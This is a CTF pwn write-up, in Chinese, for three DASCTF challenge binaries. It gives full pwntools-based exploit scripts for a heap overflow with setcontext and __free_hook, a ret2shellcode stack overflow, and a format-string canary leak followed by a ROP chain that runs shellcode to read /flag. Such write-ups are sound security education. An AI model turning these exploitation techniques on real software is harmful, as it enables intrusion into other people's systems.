DASCTF-Sept-X-浙江工業大學秋季挑戰賽-pwn-wp


DASCTF-Sept-X-浙江工業大學秋季挑戰賽-pwn-wp

總結

10:30才起床做題......pwn是三道簡單題,datasystem拿了個一血。hahapwn的遠程靶機有問題,遠程交互時驚現flag{flag_test}。我沉思片刻,隨即懷着忐忑的心情點了提交,然而這個flag並不正確,有點迷。

  • datasystem: 堆溢出 + setcontext
  • hehepwnshellcode
  • hahapwn:格式化字符串+棧溢出

datasystem

保護全開

image-20210925153451706

系統調用禁得很佛系,arch也沒檢查,系統調用號范圍也沒檢查:

image-20210925153716160

給的libc版本是2.27,有tcache

check分析

一進來有個check函數,要求輸入usernamepasswd

image-20210925153855114

最后需要通過校驗:

image-20210925154021784

從上圖也能看出username的校驗是判斷等不等於admin,這里循環次數是6,所以輸入的時候后面帶個\x00才能通過username的校驗。

passwd有點復雜,不過可以直接用ida遠程調試,查看一下比較s1s2的時候,其值為多少。先隨便輸入密碼,比如我先輸入為passwdadmin123,發現s2是一個16進制字符串:

image-20210925154530033

image-20210925154848046

s1還看不出什么,然后我直接拷貝了s2作為密碼輸入:

image-20210925154933098

然后發現s2的第1個字符變成了\x00

image-20210925155018438

之后換別的密碼,但是s2第一個字符始終不是\x00。這個時候,我猜測是不是密碼的長度要為32。於是分別輸入32a32b,發現s2的第一個字符始終為\x00

有這么一個規律后,接下來可以爆破passwd了。就是枚舉爆破某次密碼得到的s1開頭也是\x00,那么strcmp就能通過比較:

  • 枚舉所有的字符
  • 輸入32個同樣的字符作為密碼,判斷是否通過校驗
  • 通過校驗即可以作為有效的密碼

爆破的腳本如下:

import string
from pwn import *
context.log_level="error"
for c in range(0x100):
    c = c.to_bytes(1, 'big')
    p = process('./datasystem')
    p.sendafter("please input username: ", "admin\x00")
    p.sendafter("please input password: ", c*32)
    msg = p.recvline()
    if b"Fail" not in msg:
        print('='*60)
        print("a valid char:", c)
        print('='*60)
    p.close()

最后得到兩個可以用的密碼:

image-20210925160351278

check的分析即可告一段落,之后就是常規的堆溢出的題。

漏洞點

add分支,輸入內容的時候,存在堆溢出,這的size總是0x506

image-20210925160727986

也可以用gdb看一把:

image-20210925160934214

利用思路

  • 構造一個unsorted bin
  • 利用chunkfdbk殘留的的地址泄露出libc地址
  • 利用堆溢出覆蓋free chunkfd__free_hook - 0x200地址
  • 分配到__free_hook - 0x200處,覆蓋__free_hooksetcontext+53
  • 利用程序mmap0x23330000這一段rwx內存執行shellcode,先讀入shellcode,然后跳轉執行即可

exp

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

def login():
    p.sendafter("please input username: ", "admin\x00")
    p.sendafter("please input password: ", "c"*32)


def add(size, data="a\n"):
    p.sendlineafter(">> :\n", "1")
    p.sendlineafter("Size: \n", str(size))
    p.sendafter("what's your Content: \n", data)


def delete(idx):
    p.sendlineafter(">> :\n", "2")
    p.sendlineafter("Index:\n", str(idx))

def show(idx):
    p.sendlineafter(">> :\n", "3")
    p.sendlineafter("Index:\n", str(idx))
    m = p.recvline()
    info(f"Get info:{m}")
    return m

def edit(idx, data):
    p.sendlineafter(">> :\n", "4")
    p.sendlineafter("Index:\n", str(idx))
    p.sendafter("Content:\n", data)

login()

add(0x420)
add(0x10) # 1

# get unsorted bin 
delete(0)

# leak libc addr
add(0x8, "a"*8)
edit(0, "a"*8)

m = show(0)
libc_base_addr = u64_ex(m[0x11:0x17])- 0x3ec090
log_libc_base_addr(libc_base_addr) 
libc.address = libc_base_addr

# overflow write
add(0x20) # 2
delete(2)
delete(0)
add(0x10, flat({0x10:[0, 0x311, libc.sym['__free_hook']-0x200]}))

add(0x20)

# setcontext to exec shellcode 
payload = flat({
    0x200:libc.sym['setcontext']+53,
    0x100: 0x23330000, # rsp
    0xa0: libc.sym['__free_hook']-0x100 ,# rsp
    0x68: 0, # rdi
    0x70: 0x23330000, # rsi
    0x88: 0x200,
    0xa8: libc.sym['read'] # rcx
}, filler="\x00")
add(0x20, payload)

delete(3)

sleep(1)

# send shellcode
p.sendline(asm(shellcraft.cat("/flag")))

p.interactive()

遠程打:

image-20210925161955747

hehepwn

什么保護都沒有,白給

image-20210925152001285

漏洞點

填滿0x20個字符后可泄露棧地址:

image-20210925151910507

棧溢出:

image-20210925152030008

exp

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']

p.sendafter("well you input:\n", "a"*0x20)
m = p.recvuntil("\x7f")

# leak stack addr
addr = u64_ex(m[-6:])
log_address("stack addr", addr)

# ret2shellcode
p.sendlineafter("EASY PWN PWN PWN~\n", flat({0:asm(shellcraft.cat('/flag')), 0x58: addr - 0x50}))

p.interactive()

遠程打:

image-20210925162147990

hahapwn

開啟了NXCanary,給的libc版本是2.23的:

image-20210925152254158

強行禁用了execve

image-20210925152426536

漏洞點

格式化字符串和棧溢出:

image-20210925152501752

遠程靶機很詭異啊,泄露出地址后,我用libc.sym['read']執行read會失敗,但是用二進制文件的read@plt可以成功,還有pop rdx; pop rsi; ret遠程也會失敗,就很迷。后來改了下gadgets,然后喜提test flag

image-20210925152821175

exp

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
libc: ELF = gift['libc']

# leak canary value, stack address and libc address using printf vulnerability
# offset 6
p.sendafter("Welcome! What is your name?\n", "%25$p,%27$p,%28$p")
m = p.recvline_startswith('0x')
log_ex(f"{m}")
leak_addr = int16(m[:14].decode()) - 324 - libc.sym['setvbuf']
log_libc_base_addr(leak_addr)
libc.address = leak_addr

canary = int16(m[15:33].decode())
log_address("canary", canary)

stack_addr = int16(m[34:48].decode())
log_address("stack", stack_addr)
start_addr = stack_addr - 0xc0

bss_addr = 0x601080
read_addr = 0x4005e0
puts_addr = 0x4005b0

# use gadgets searching from libc
libc_rdi_ret = leak_addr + 0x0000000000021112
libc_rdx_ret = leak_addr + 0x0000000000001b92
libc_rsi_ret = leak_addr + 0x00000000000202f8
libc_rax_ret = leak_addr + 0x000000000003a738
libc_syscall_ret = leak_addr + 0x00000000000bc3f5

payload = flat([
    0x68*"a",
    canary,
    0, 
    libc_rdi_ret, 0,
    libc_rsi_ret, bss_addr,
    libc_rdx_ret, 800,
    read_addr, # read shellcode
    libc_rdi_ret, bss_addr,
    puts_addr,
    libc_rdi_ret, bss_addr &~0xfff,
    libc_rsi_ret, 0x1000,
    libc_rdx_ret, 7,
    libc_rax_ret, SyscallNumber.amd64.MPROTECT, # mprotect changes page attribute to rwx
    libc_syscall_ret,
    bss_addr
], filler="\x00", length=0x200)

p.sendafter("What can we help you?\n", payload)

# send shellcode
p.send(asm(shellcraft.cat('/flag')))

flag_ = p.recvline_startswith("flag")

log_ex(f"Get flag: {flag_}")

p.interactive()

exp均使用我自己寫的小工具pwncli編寫,歡迎試用~

其他鏈接

1、My Blog

2、Ctf Wiki

3、pwncli


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM